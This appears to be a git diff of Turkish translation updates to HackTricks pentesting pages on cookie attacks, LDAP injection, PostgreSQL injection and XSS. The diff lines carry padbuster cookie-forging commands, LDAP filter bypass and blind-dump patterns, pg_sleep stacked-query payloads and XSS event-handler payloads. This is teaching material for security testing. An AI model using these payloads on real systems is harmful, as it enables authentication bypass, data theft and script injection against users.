Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezlerini enjekte etmesine olanak tanır ve potansiyel olarak güvenlik önlemlerini aşabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
#### **Basic checks**
|
||||
|
||||
* **Çerez**, her seferinde **aynıdır** **giriş yaptığınızda**.
|
||||
* Çıkış yapın ve aynı çerezi kullanmayı deneyin.
|
||||
* Aynı çerezi kullanarak 2 cihazda (veya tarayıcıda) aynı hesaba giriş yapmayı deneyin.
|
||||
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeyi deneyin.
|
||||
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri kontrol edin.
|
||||
* Çıkış yapın ve aynı çerezi kullanmaya çalışın.
|
||||
* Aynı çerezi kullanarak 2 cihazla (veya tarayıcıyla) aynı hesaba giriş yapmayı deneyin.
|
||||
* Çerezin içinde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın.
|
||||
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmaya çalışın ve benzerlikleri görüp göremediğinizi kontrol edin.
|
||||
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve zayıf olabileceği düşünülüyorsa, her zaman başka bir çerez olmadan **beni hatırla** çerezini kullanın.
|
||||
* Önceki çerezin, şifreyi değiştirdikten sonra bile çalışıp çalışmadığını kontrol edin.
|
||||
|
||||
|
@ -211,7 +211,7 @@ Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özell
|
|||
Çerez giriş yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen çerezin hesabınızdaki bir alanla (muhtemelen kullanıcı adıyla) ilişkili olduğu anlamına gelir. O zaman şunları yapabilirsiniz:
|
||||
|
||||
* Çok **benzer** kullanıcı adlarına sahip birçok **hesap** oluşturmaya çalışın ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
|
||||
* **Kullanıcı adını brute force** etmeyi deneyin. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
|
||||
* **Kullanıcı adını brute force** etmeye çalışın. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
|
||||
* **Padding** **Oracle** denemesi yapın (çerezin içeriğini şifreleyebilirsiniz). **padbuster** kullanın.
|
||||
|
||||
**Padding Oracle - Padbuster örnekleri**
|
||||
|
@ -226,9 +226,9 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
|||
```
|
||||
Padbuster birkaç deneme yapacak ve sizden hangi durumun hata durumu olduğunu (geçersiz olan) soracaktır.
|
||||
|
||||
Daha sonra çerezi deşifre etmeye başlayacaktır (bu birkaç dakika sürebilir).
|
||||
Daha sonra çerezi deşifrelemeye başlayacaktır (bu birkaç dakika sürebilir).
|
||||
|
||||
Eğer saldırı başarıyla gerçekleştirilmişse, o zaman seçtiğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, **encrypt** **user=administrator** şifrelemek isterseniz.
|
||||
Eğer saldırı başarıyla gerçekleştirilmişse, o zaman seçtiğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, **encrypt** **user=administrator** istiyorsanız.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
@ -253,9 +253,9 @@ Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır.
|
|||
|
||||
Neredeyse aynı verilere (kullanıcı adı, şifre, e-posta vb.) sahip 2 kullanıcı oluşturun ve verilen çerez içinde bir desen keşfetmeye çalışın.
|
||||
|
||||
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çerez ECB ile her bloğu aynı anahtar ile şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
|
||||
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (çünkü ECB her bloğu aynı anahtar ile şifrelediğinden, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
|
||||
|
||||
Kullanılan bir bloğun boyutunda bir desen olmalıdır. Bu nedenle, bir grup "a" nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
|
||||
Kullanılan bir bloğun boyutunda bir desen olmalıdır. Yani, bir grup "a" nasıl şifrelendiğini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"*(bloğun boyutu)+"admin". Ardından, çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -271,8 +271,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
|
||||
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfayı ziyaret edin:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -63,7 +63,7 @@ Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
|
|||
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata verirler.\
|
||||
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
|
||||
|
||||
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata oluşacaktır. Sadece 1 filtre göndermek daha iyidir.**
|
||||
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata oluşur. Sadece 1 filtre göndermek daha iyidir.**
|
||||
|
||||
Filtre `&` veya `|` ile başlamalıdır.\
|
||||
Örnek: `(&(directory=val1)(folder=public))`
|
||||
|
@ -75,7 +75,7 @@ Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre (çalıştırılan)
|
|||
|
||||
### Giriş Atlatma
|
||||
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne eklerseniz ekleyin, hashlenmiş olabilir.
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
```
|
||||
#### Dump data
|
||||
|
||||
ASCII harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
|
||||
Ascii harfler, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -224,22 +224,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,15 +9,15 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
|
||||
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -48,9 +48,9 @@ PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl
|
|||
Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir**.\
|
||||
[**Bu sayfada**](https://www.postgresqltutorial.com/postgresql-string-functions/) **bazı yararlı Dize işlevlerini bulabilirsiniz.**
|
||||
|
||||
### Yığın Sorgular
|
||||
### Yığılmış Sorgular
|
||||
|
||||
PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yine de zaman enjeksiyonu yoluyla yığın sorguları kötüye kullanabilirsiniz:
|
||||
PostgreSQL'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığılmış sorguları Zaman enjeksiyonu ile kötüye kullanmaya devam edebilirsiniz:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -59,13 +59,13 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
Bu fonksiyon, tüm verileri yalnızca bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
|
||||
Bu fonksiyon, tüm verileri tek bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bu durum DoS saldırısına veya hatta kendi istemcinize neden olabilir):
|
||||
Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bunu DoS yapabilir veya hatta kendi istemcinizi etkileyebilirsiniz):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
@ -16,8 +16,8 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
|
|||
1. Yeni HTML etiketleri oluşturabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
|
||||
3. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
|
||||
2. **HTML etiketinin** içinde:
|
||||
1. Ham HTML bağlamına çıkabilir misiniz?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
|
@ -25,7 +25,7 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
|
|||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
3. **JavaScript kodunun** içinde:
|
||||
1. `<script>` etiketini kaçırabilir misiniz?
|
||||
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
|
||||
2. Dizeyi kaçırıp farklı JS kodu çalıştırabilir misiniz?
|
||||
3. Girdiğiniz şablon literalleri \`\` içinde mi?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. Javascript **fonksiyonu** **çalıştırılıyor**:
|
||||
|
@ -44,8 +44,8 @@ Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
|
|||
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
|
||||
|
||||
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir **Yansıtılmış XSS** istismar edebilirsiniz.
|
||||
* **Saklanan ve yansıtılan**: Eğer kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
|
||||
* **JS ile erişilen**: Eğer kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
|
||||
* **Saklanmış ve yansıtılmış**: Eğer kontrol ettiğiniz bir değerin sunucuda saklandığını ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanmış XSS** istismar edebilirsiniz.
|
||||
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
|
||||
|
||||
## Bağlamlar
|
||||
|
||||
|
@ -62,10 +62,10 @@ Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları
|
|||
|
||||
1. **nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
Eğer bir sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -75,8 +75,8 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
|
|||
|
||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir niteliğin içinde **`javascript:`** protokolü kullanılarak yansıtılır:
|
||||
|
||||
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini** ayrıştırdığı ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
* Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştıracağı** ve ardından içeriği işleyeceği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
* Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -98,7 +98,7 @@ Javascript Hoisting, **kullanımdan sonra fonksiyonları, değişkenleri veya s
|
|||
|
||||
### Javascript Fonksiyonu
|
||||
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta sıkça görülen bir örnek: `?callback=callbackFunc`.
|
||||
|
||||
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
|
||||
|
||||
|
@ -130,7 +130,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
|
|||
|
||||
### DOM
|
||||
|
||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
|
||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
|
|||
|
||||
### **Evrensel XSS**
|
||||
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** okumak ve daha fazlası için bile istismar edilebilir.\
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
|
||||
Bazı **örnekler**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -157,9 +157,9 @@ Bazı **örnekler**:
|
|||
|
||||
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
|
||||
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
|
||||
_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
|
||||
_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
|
||||
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu yükleri kullanabilirsiniz:
|
||||
```html
|
||||
